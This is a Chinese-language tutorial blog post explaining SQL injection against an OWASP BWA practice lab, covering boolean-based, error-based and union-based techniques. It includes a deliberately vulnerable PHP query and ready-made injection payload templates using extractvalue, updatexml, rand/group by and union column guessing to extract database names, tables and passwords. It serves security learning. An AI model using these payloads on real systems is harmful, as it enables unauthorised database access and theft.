摘要:原理分析關于錯誤回顯基于錯誤回顯的注入就是通過語句的矛盾性來使數據被回顯到頁面上。因為,注入可以直接返回信息而不是布爾值。
實習期間的主要工作是研究 WEB 安全,剛開始的時候,研究的主要是 SQL 注入,因為之前沒有搞過安全,所有費了好長一段時間對 SQL 注入基本知識進行了解。這篇文章并不是什么很深入的技術博客,或許應該叫它‘ SQL注入掃盲 ’。
關于 SQL InjectionSQL Injection 就是通過把惡意的 SQL 命令插入到 Web 表單讓服務器執行,最終達到欺騙服務器或數據庫執行惡意的 SQL 命令。
學習 SQL 注入,首先要搭一個靶機環境,我使用的是 OWASP BWA,感興趣的可以去官網下載一個安裝,除了 SQL 注入,很多靶機環境都可以在 BWA 中找到,它專門為 OWASP ZAP 滲透工具設計的。
$id?=?$_GET["id"]; $getid?=?"SELECT?first_name,?last_name?FROM?users?WHERE?user_id?=?"$id""; $result?=?mysql_query($getid)?or?die(""?.?mysql_error()?.?""?); $num?=?mysql_numrows($result);?
這是一個很簡單的 PHP代碼,從前臺獲得 id 的值,交給數據庫來執行,把結果返回給前臺。
比如我們在 OWASP 里輸入 id = 1,點擊 Submit,返回結果如下:
稍微懂一點后臺或者數據庫的人都知道,上面的那段代碼是有嚴重問題的,沒有對 id 的值進行有效性、合法性判斷。也就是說,我們在 submit 輸入框輸入的如何內容都會被提交給數據庫執行,比如在輸入框輸入1" or "1"="1,執行就會變成:
//原先要在數據庫中執行的命令 SELECT?first_name,?last_name?FROM?users?WHERE?user_id?=?"1" //變成 SELECT?first_name,?last_name?FROM?users?WHERE?user_id?=?"1" or "1"="1"
注意一下單引號,這是 SQL 注入中非常重要的一個地方,所以注入代碼的最后要補充一個 "1"="1讓單引號閉合。
由于 or 的執行,會把數據庫表 users 中的所有內容顯示出來,
下面對三種主要的注入類型進行介紹。
Boolean-based 原理分析首先不得不講SQL中的AND和OR
AND 和 OR 可在 WHERE 子語句中把兩個或多個條件結合起來。
AND:返回第一個條件和第二個條件都成立的記錄。
OR:返回滿足第一個條件或第二個條件的記錄。
AND和OR即為集合論中的交集和并集。
下面是一個數據庫的查詢內容。
mysql> select * from students; +-------+-------+-----+ | id | name | age | +-------+-------+-----+ | 10056 | Doris | 20 | | 10058 | Jaune | 22 | | 10060 | Alisa | 29 | +-------+-------+-----+ 3 rows in set (0.00 sec)
1)
mysql> select * from students where TRUE ; +-------+-------+-----+ | id | name | age | +-------+-------+-----+ | 10056 | Doris | 20 | | 10058 | Jaune | 22 | | 10060 | Alisa | 29 | +-------+-------+-----+ 3 rows in set (0.00 sec)
2)
mysql> select * from students where FALSE ; Empty set (0.00 sec)
3)
mysql> SELECT * from students where id = 10056 and TRUE ; +-------+-------+-----+ | id | name | age | +-------+-------+-----+ | 10056 | Doris | 20 | +-------+-------+-----+ 1 row in set (0.00 sec)
4)
mysql> select * from students where id = 10056 and FALSE ; Empty set (0.00 sec)
5)
mysql> selcet * from students where id = 10056 or TRUE ; +-------+-------+-----+ | id | name | age | +-------+-------+-----+ | 10056 | Doris | 20 | | 10058 | Jaune | 22 | | 10060 | Alisa | 29 | +-------+-------+-----+ 3 rows in set (0.00 sec)
6)
mysql> select * from students where id = 10056 or FALSE ; +-------+-------+-----+ | id | name | age | +-------+-------+-----+ | 10056 | Doris | 20 | +-------+-------+-----+ 1 row in set (0.00 sec)
會發現and 1=1 , and 1=2 即是 and TRUE , and FALSE 的變種。
這便是最基礎的boolean注入,以此為基礎你可以自由組合語句。
字典爆破流
and exists(select * from ?) //?為猜測的表名 and exists(select ? from x) //?為猜測的列名
截取二分流
and (length((select schema_name from information_schema.schemata limit 1))>?) //判斷數據庫名的長度 and (substr((select schema_name from information_schema.schemata limit 1),1,1)>"?") and (substr((select schema_name from information_schema.schemata limit 1),1,1)<"?") //利用二分法判斷第一個字符Boolean-based總結
根據前面的介紹,我們知道,對于基于Boolean-based的注入,必須要有一個可以正常訪問的地址,比如http: //redtiger.labs.overthewire.org/level4.php?id=1 是一個可以正常訪問的記錄,說明id=1的記錄是存在的,下面的都是基于這個進一步猜測。先來判斷一個關鍵字keyword的長度,在后面構造id=1 and (select length(keyword) from table)=1,從服務器我們會得到一個返回值,如果和先前的返回值不一樣,說明and后面的(select length(keyword) from table)=1返回false,keyword的長度不等于1。繼續構造直到id=1 and (select length(keyword) from table)=15返回true,說明keyword的長度為15。
為什么我們剛開始一定要找一個已經存在的id,其實這主要是為了構造一個為真的情況。Boolean-based就是利用查詢結果為真和為假時的不同響應,通過不斷猜測來找到自己想要的東西。
對于keyword的值,mysql數據庫可以使用substr(string, start, length)函數,截取string從第start位開始的length個字符串id=1 and (select substr(keyword,1,1) from table) ="A",依此類推,就可以獲得keyword的在數據庫中的值。
Boolean-based的效率很低,需要多個請求才能確定一個值,盡管這種代價可以通過腳本來完成,在有選擇的情況下,我們會優先選擇其他方式。
基于錯誤回顯的sql注入就是通過sql語句的矛盾性來使數據被回顯到頁面上。
所用到的函數
count() 統計元祖的個數(相當于求和) 如select count(*) from information_schema.tables; rand()用于產生一個0~1的隨機數 floor()向下取整 group by 依據我們想要的規矩對結果進行分組 concat將符合條件的同一列中的不同行數據拼接,以逗號隔開用于錯誤回顯的sql語句
第一種: 基于 rand() 與 group by 的錯誤
利用group by part of rand() returns duplicate key error這個bug,關于rand()函數與group by 在mysql中的錯誤報告如下:
**RAND() in a WHERE clause is re-evaluated every time the WHERE is executed.
You cannot use a column with RAND() values in an ORDER BY clause, because ORDER BY would evaluate the column multiple times.**
這個bug會爆出duplicate key這個錯誤,然后順便就把數據偷到了。
公式:username=admin" and (select 1 from (select count(), concat(floor(rand(0)2),0x23,(你想獲取的數據的sql語句))x from information_schema.tables group by x )a) and "1" = "1
第二種: XPATH爆信息
這里主要用到的是ExtractValue()和UpdateXML()這2個函數,由于mysql 5.1以后提供了內置的XML文件解析和函數,所以這種注入只能用于5.1版本以后使用
查看sql手冊
語法:EXTRACTVALUE (XML_document, XPath_string); 第一個參數:XML_document是String格式,為XML文檔對象的名稱,文中為Doc 第二個參數:XPath_string (Xpath格式的字符串) ,如果不了解Xpath語法,可以在網上查找教程。
作用:從目標XML中返回包含所查詢值的字符串
語法:UPDATEXML (XML_document, XPath_string, new_value); 第一個參數:XML_document是String格式,為XML文檔對象的名稱,文中為Doc 第二個參數:XPath_string (Xpath格式的字符串) ,如果不了解Xpath語法,可以在網上查找教程。 第三個參數:new_value,String格式,替換查找到的符合條件的數據
作用:改變文檔中符合條件的節點的值
現在就很清楚了,我們只需要不滿足XPath_string(Xpath格式)就可以了,但是由于這個方法只能爆出32位,所以可以結合mid來使用
公式1:username=admin" and (extractvalue(1, concat(0x7e,(你想獲取的數據的sql語句)))) and "1"="1
公式2:username=admin" and (updatexml(1, concat(0x7e,(你想獲取的數據的sql語句)),1)) and "1"="1
基于錯誤回顯的注入,總結起來就一句話,通過sql語句的矛盾性來使數據被回顯到頁面上,但有時候局限于回顯只能回顯一條,導致基于錯誤的注入偷數據的效率并沒有那么高,但相對于布爾注入已經提高了一個檔次。
union query injection要了解union query injection,首先得了解union查詢,union用于合并兩個或更多個select的結果集。比如說
SELECT username, password FROM account;
結果是
admin 123456
SELECT id, title FROM article
的結果是
1 Hello, World
SELECT username, password FROM account UNION SELECT id, title FROM article
的結果就是
admin 123456
1 Hello, World
比起多重嵌套的boolean注入,union注入相對輕松。因為,union注入可以直接返回信息而不是布爾值。前面的介紹看出把union會把結果拼拼到一起,所有要讓union前面的查詢返回一個空值,一般采用類似于id=-1的方式。
1)
mysql> select name from students where id = -1 union select schema_name from information_schema.schemata; //數據庫名 +--------------------+ | name | +--------------------+ | information_schema | | mysql | | performance_schema | | rumRaisin | | t3st | | test | +--------------------+ 6 rows in set (0.00 sec)
2)
mysql> select name from students where id = -1 union select table_name from information_schema.tables where table_schema="t3st"; //表名 +----------+ | name | +----------+ | master | | students | +----------+ 2 rows in set (0.00 sec)
3)
mysql> select name from students where id = -1 union select column_name from information_schema.columns where table_name = "students" ; //列名 +------+ | name | +------+ | id | | name | | age | +------+ 3 rows in set (0.00 sec)
UNION 操作符用于合并兩個或多個 SELECT 語句的結果集。請注意,UNION 內部的 SELECT 語句必須擁有相同數量的列。列也必須擁有相似的數據類型。同時,每條 SELECT 語句中的列的順序必須相同。
舉個例子,還以最開始的 OWASP 為基礎,返回了兩個值分別是 first_name 和 sur_name,可想而知,服務器在返回數據庫的查詢結果時,就會把結果中的第一個值和第二個值傳給 first_name 和 sur_name,多了或少了,都會引起報錯。
所以你如果想要使用union查詢來進行注入,你首先要猜測后端查詢語句中查詢了多少列,哪些列可以回顯給用戶。
猜測列數
-1 union select 1 -1 union select 1,2 -1 union select 1,2,3 //直到頁面正常顯示
比如這條語句
-1 UNION SELECT 1,2,3,4
如果顯示的值為3和4,表示該查詢結果中有四列,并且第三列和第四列是有用的。則相應的構造union語句如下
-1 UNION SELECT 1,2,username,password FROM table小結一下
SQL 注入大概有5種,還有兩種分別是 Stacked_queries(基于堆棧)和 Time-based blind(時間延遲),堆棧就是多語句查詢,用 ‘;’ 把語句隔開,和 union 一樣;時間延遲就是利用 sleep() 函數讓數據庫延遲執行,偷數據的速度很慢。(還有一個第六種,內聯注入,但和前面涉及的內容有所重疊,就不多帶帶來討論了)寫這篇文章的時候,也是剛剛接觸 markdown 的時候,很多格式都不規范,比如中英文之間半角的空格都沒有,大家就且看且無視吧。
引用說明,自己之前研究 SQL 注入的時候,也是一點一點摸索的,本博客的大部分內容是來自于公司內網的服務器中(公司定期考核,看你都干了什么)。當時因為是內網,就沒有做引用,現在想找到這些引用的文章也很困難,見諒。
歡迎來我的博客交流。
文章版權歸作者所有,未經允許請勿轉載,若此文章存在違規行為,您可以聯系管理員刪除。
轉載請注明本文地址:http://specialneedsforspecialkids.com/yun/22056.html
摘要:預備知識目錄后面簡稱目錄后面簡稱入口文件過程詳解范例定義路由文件路徑修改如下定義中間件中間件路徑新建中間件必須返回響應在處理請求之前做些什么在處理請求之后做些什么中間件處理完畢后,做些什么中間件處理完畢后,做些什么注冊中間件中間件配件文件路 I. 預備知識 Laravel 目錄 /path/to 后面簡稱 Laravel Web 目錄 Laravel/public 后面簡稱 Web 入...
摘要:簡述是中操作的模塊,其使用方法和幾乎相同。但目前支持而后者不支持版本。因此要避免這種情況需使用提供的參數化查詢。使用存儲過程動態執行防注入使用存儲過程自動提供防注入,動態傳入到存儲過程執行語句。 簡述 pymsql是Python中操作MySQL的模塊,其使用方法和MySQLdb幾乎相同。但目前pymysql支持python3.x而后者不支持3.x版本。本文測試python版本:3.5....
閱讀 870·2021-11-22 09:34
閱讀 1003·2021-10-08 10:16
閱讀 1816·2021-07-25 21:42
閱讀 1790·2019-08-30 15:53
閱讀 3519·2019-08-30 13:08
閱讀 2174·2019-08-29 17:30
閱讀 3342·2019-08-29 17:22
閱讀 2173·2019-08-29 15:35